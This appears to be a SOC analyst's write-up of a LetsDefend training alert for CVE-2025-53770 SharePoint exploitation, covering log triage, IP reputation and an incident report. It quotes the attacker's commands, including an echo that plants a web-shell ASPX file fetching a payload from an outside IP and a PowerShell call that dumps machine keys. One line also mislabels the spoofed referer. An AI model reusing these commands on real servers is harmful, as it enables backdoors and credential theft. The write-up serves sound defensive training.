

Event Information:

EventID :
320
Event Time :
Jul, 22, 2025, 01:07 PM
Rule :
SOC342 - CVE-2025-53770 SharePoint ToolShell Auth Bypass and RCE
Level :
Security Analyst
Hostname :
SharePoint01
Source IP Address :
107.191.58.76
Destination IP Address :
172.16.20.17
HTTP Request Method :
POST
Requested URL :
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
User-Agent :
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer :
/_layouts/SignOut.aspx
Content-Length :
7699
Alert Trigger Reason :
Suspicious unauthenticated POST request targeting ToolPane.aspx with large payload size and spoofed referer indicative of CVE-2025-53770 exploitation.
Device Action :
Allowed

Analysis Steps:

Logs were searched with IP 107[.]191.58.76 as the source and SharePoint01 IP 172[.]16.20.17 as the destination in the relevant time-frame yielding 1 event.

✓ 1 events (before Jul, 22, 2025, 01:07 PM UTC)

< Hide Fields

INTERESTING FIELDS

α type

α source_address

source_port

α destination_address

destination_port

α raw_log

🕒 Event

timeJul, 22, 2025, 01:07 PM

REQUEST

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1

Content-Length7699

Accepttext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i...

Accept-Encodinggzip, deflate, br

Connectionclose

Content-Typeapplication/x-www-form-urlencoded

Referer/_layouts/SignOut.aspx

...=/ToolPane.aspx ...

cko/20100101...

From the above event in the logs we can notice three major details.

1. The attacker is sending a POST request to `/_layouts/15/ToolPane.aspx?DisplayMode=Edit`. In a normal environment, this is a legitimate SharePoint page used by authorised administrators to edit web parts and site layouts.
2. The referer header is set to `/_layouts/SignIn.aspx`. This is unusual for an edit request. The attacker is spoofing this header to trick the application's logic. By making the server think the request is coming from the sign-out page, the exploit is attempting to bypass the normal authentication checks required to access the ToolPane.aspx edit mode.
3. The Content-Length of the request is 7699 bytes. This is a massive amount of data for a simple page edit. In SharePoint RCE vulnerabilities, attackers use this POST body to send a heavily obfuscated or serialised payload. If the authentication bypass is successful, the server reads this large payload and is tricked into executing embedded commands.

When analysing the endpoint logs we can see that this malicious request was responded to.

EVENT TIME	DESTINATION DOMAIN/IP ADDRESS
Jul 22 2025 13:06:08	132.232.40.201
Jul 22 2025 13:06:16	142.250.190.35
Jul 22 2025 13:06:18	34.104.35.123
Jul 22 2025 13:06:20	172.67.139.19
Jul 22 2025 13:06:23	172.31.12.250
Jul 22 2025 13:06:36	35.190.80.1
Jul 22 2025 13:07:15	77.88.21.119
Jul 22 2025 13:07:59	34.104.35.123
Jul 22 2025 13:08:04	107.191.58.76

Following this we can see that RCE was conducted on the endpoint.

Processes27

Network Action29

Terminal History4

Browser History0

Results:10

COMMAND LINE

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs

"C:\Windows\System32\cmd.exe" /c echo <form runat="server">

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ...

<1>

There are four unique commands that have been executed remotely by the attacker on the system:

1. "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e PCVAIEltcG9ydC...[Truncated]

The -e flag stands for "encoded command", allowing the attacker to run a Base64-encoded script to hide its contents from basic logging. When decoded, this specific script is designed to extract ASP.NET Machine Keys (Validation and Decryption keys) from the server's configuration, which allows the attacker to forge authentication cookies and impersonate any user on the SharePoint site.

2. "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /out:C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.cs

The attacker is using csc.exe (the legitimate, built-in C# compiler for Windows) to compile raw source code (payload.cs) into an executable file (payload.exe) directly on the server. Compiling malware "on-the-fly" like this is a classic evasion technique to bypass static file signature detection from endpoint security tools.

3. "C:\Windows\System32\cmd.exe" /c echo <form runat=\"server\"> <object classid=\"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11\"><param name=\"Command\" value=\"Redirect\"> <param name=\"Button\" value=\"Test\"> <param name=\"Url\" value=\"http://107.191.58.76/payload.exe\"></object></form> > > C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

This command echoes a malicious block of HTML/ASPX code directly into a new file named spinstall0.aspx located within a legitimate, public-facing SharePoint directory. This creates a persistent backdoor (a web shell) that, when visited, will silently redirect the server or victim to download further malware from the attacker's IP address (107[.]191.58.76).

4. "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "[System.Web.Configuration.MachineKeySection]::GetApplicationConfig()"

This is a more direct, unencoded method of doing what the first command attempted. It queries the server's .NET configuration directly via PowerShell to output the application's Machine Keys.

The attacker has full control and has dropped a persistent backdoor (spinstall0.aspx).

The offending IP is not in our CTI database and is external to the organisation. No emails have been received indicating penetration testing involving the IP for the relevant time period. VirusTotal indicates it is a US address associated with 107.191.58.76 AS 20473 (The Constant Company, LLC). 10/91 security vendors flagged this IP address as malicious as of 2 days ago.

10
/91
Community Score

10/91 security vendors flagged this IP address as malicious

107.191.58.76 (107.191.32.0/19)
AS 20473 (The Constant Company, LLC)

US
Last Analysis Date
2 days ago

DETECTIONDETAILSRELATIONSCOMMUNITY36

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis

Do you want to automate checks?

ADMINUSLabs	Malicious	alphaMountain.ai	Phishing
BitDefender	Malware	ESTSecurity	Malicious
Fortinet	Phishing	G-Data	Malware
Lionic	Malware	SOCradar	Phishing
Sophos	Malicious	Webroot	Malicious
Forcepoint ThreatSeeker	Suspicious	Abusix	Clean

On AbuseIPDB this IP was reported 26 times with a 0% confidence of abuse.

107.191.58.76 was found in our database!

This IP was reported 26 times. Confidence of Abuse is 0%?

0%

ISP	Vultr Holdings, LLC
Usage Type	Data Center/Web Hosting/Transit
ASN	AS20473
Hostname(s)	107.191.58.76.vultrusercontent.com
Domain Name	vultr.com
Country	United States of America
City	Los Angeles, California

Based on following Playbook procedure and the analysis of available information, this alert is determined to be a successful True Positive.

Report:

Incident Summary

Analysis confirms a True Positive alert for CVE-2025-53770 exploitation against the host SharePoint01 (172.16.20.17). An external attacker successfully bypassed authentication and achieved Remote Code Execution (RCE) on the server. Post-exploitation analysis reveals the attacker extracted ASP.NET Machine Keys, compiled custom malware, and dropped a persistent web shell backdoor.

Incident Details

- **Alert Name:** SOC342 - CVE-2025-53770 SharePoint ToolShell Auth Bypass and RCE
- **Target Host:** SharePoint01 (172.16.20.17)
- **Attacker IP:** 107.191.58.76
- **Device Action:** Allowed

Analysis and Evidence

- **Attack Execution:** The attacker sent a POST request to `/_layouts/15/ToolPane.aspx?DisplayMode=Edit`. The Referer header was spoofed as `/_layouts/SignOut.aspx` to trick the application's logic and bypass the normal authentication checks required for the edit mode. The request contained a massive, 7699-byte payload, which the server subsequently executed.
- **Post-Exploitation / RCE:** Terminal history confirms the attacker executed four unique commands on the system:
 1. A Base64-encoded PowerShell script was run to extract ASP.NET Machine Keys (Validation and Decryption keys) from the server's configuration, allowing the attacker to forge authentication cookies and impersonate users.
 2. The built-in C# compiler (csc.exe) was used to compile raw source code (payload.cs) into an executable (payload.exe) on-the-fly, bypassing static file signature detection.
 3. A malicious block of HTML/ASPX code was echoed into a new file named `spinstall0.aspx` within a legitimate, public-facing SharePoint directory. This created a persistent web shell backdoor designed to silently redirect and download further malware from 107[.]191.58.76.
 4. A direct, unencoded PowerShell command (`GetApplicationConfig()`) was executed to output the application's Machine Keys.

Threat Intelligence

- **OSINT (Infrastructure):** The attacker IP (107[.]191.58.76) is external to the organisation and associated with AS 20473 (The Constant Company, LLC) in the US.
- **Reputation:** VirusTotal lists 10/91 security vendors flagging this IP address as malicious. AbuseIPDB shows 26 reports with a 0% confidence of abuse.

- **Internal Correlation:** No emails or communications were received indicating authorised Red Team penetration testing involving this IP for the relevant time period.

Actions Taken

1. Analysed proxy logs, confirming an authentication bypass using a spoofed Referer header and an unusually large POST payload.
2. Correlated the malicious request with endpoint terminal history, confirming successful Remote Code Execution (RCE).
3. Identified critical post-exploitation activity, including key theft, on-the-fly malware compilation, and the creation of a persistent backdoor (spinstall0.aspx).
4. Verified the attacker IP via VirusTotal, confirming it is known malicious infrastructure.
5. Isolated the endpoint from the network.
6. Declared the alert a True Positive for a successful server compromise and escalated.

Let's Defend Result

SOC342 - CVE-2025-53770 SharePoint ToolShell Auth Bypass and RCE
True Positive (+5 Point)
Was the Attack Successful? (+5 Point)
What Is the Direction of Traffic? (+5 Point)
Check If It Is a Planned Test (+5 Point)
What Is The Attack Type? (+5 Point)
Is Traffic Malicious? (+5 Point)